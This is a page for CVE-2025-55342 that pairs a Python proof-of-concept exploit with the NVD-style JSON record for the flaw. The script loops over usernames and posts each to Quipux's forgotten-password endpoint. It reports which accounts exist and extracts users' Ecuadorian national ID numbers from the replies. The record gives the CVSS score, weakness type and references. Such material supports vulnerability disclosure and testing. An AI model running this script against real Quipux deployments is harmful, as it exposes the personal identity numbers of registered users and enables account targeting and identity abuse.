CVE-2025-55342

import requests import re # CVE-2025-55342 PoC - Quipux User Enumeration and ID Number Disclosure # Target: Quipux <= e1774ac # Endpoint: /Administracion/usuarios/cambiar_password_olvido_validar.php TARGET_URL = "http://target-server/Administracion/usuarios/cambiar_password_olvido_validar.php" def enumerate_users(usernames): """ Enumerate valid usernames and retrieve Ecuadorian ID numbers """ results = [] for username in usernames: try: response = requests.post( TARGET_URL, data={'txt_login': username}, timeout=10 ) # Check for different response patterns indicating valid user if 'cedula' in response.text.lower() or 'cédula' in response.text.lower(): # Extract ID number using regex patterns id_pattern = r'\d{10,13}' # Ecuadorian ID is typically 10 digits id_match = re.search(id_pattern, response.text) if id_match: results.append({ 'username': username, 'id_number': id_match.group(0), 'status': 'VULNERABLE' }) print(f"[+] Found: {username} -> ID: {id_match.group(0)}") except requests.RequestException as e: print(f"[-] Error testing {username}: {e}") return results if __name__ == "__main__": # Example username list for testing test_usernames = ["admin", "user1", "user2"] vulnerable_users = enumerate_users(test_usernames) print(f"\nTotal vulnerable users found: {len(vulnerable_users)}")

{"cve": {"id": "CVE-2025-55342", "sourceIdentifier": "[email protected]", "published": "2025-11-05T19:16:01.337", "lastModified": "2026-01-14T15:39:01.433", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Quipux 4.0.1 through e1774ac allows enumeration of usernames, and accessing the Ecuadorean identification number for all registered users via the Administracion/usuarios/cambiar_password_olvido_validar.php txt_login parameter."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:quipux:quipux:4.0.1:*:*:*:*:*:*:*", "matchCriteriaId": "80D33D58-B0E7-4B58-B9C9-9881C65DA3FC"}]}]}], "references": [{"url": "https://minka.gob.ec/quipux-comunitario/quipux-comunitario", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://seguridaddigital.ec/research/20251101/report-20251101.en.pdf", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}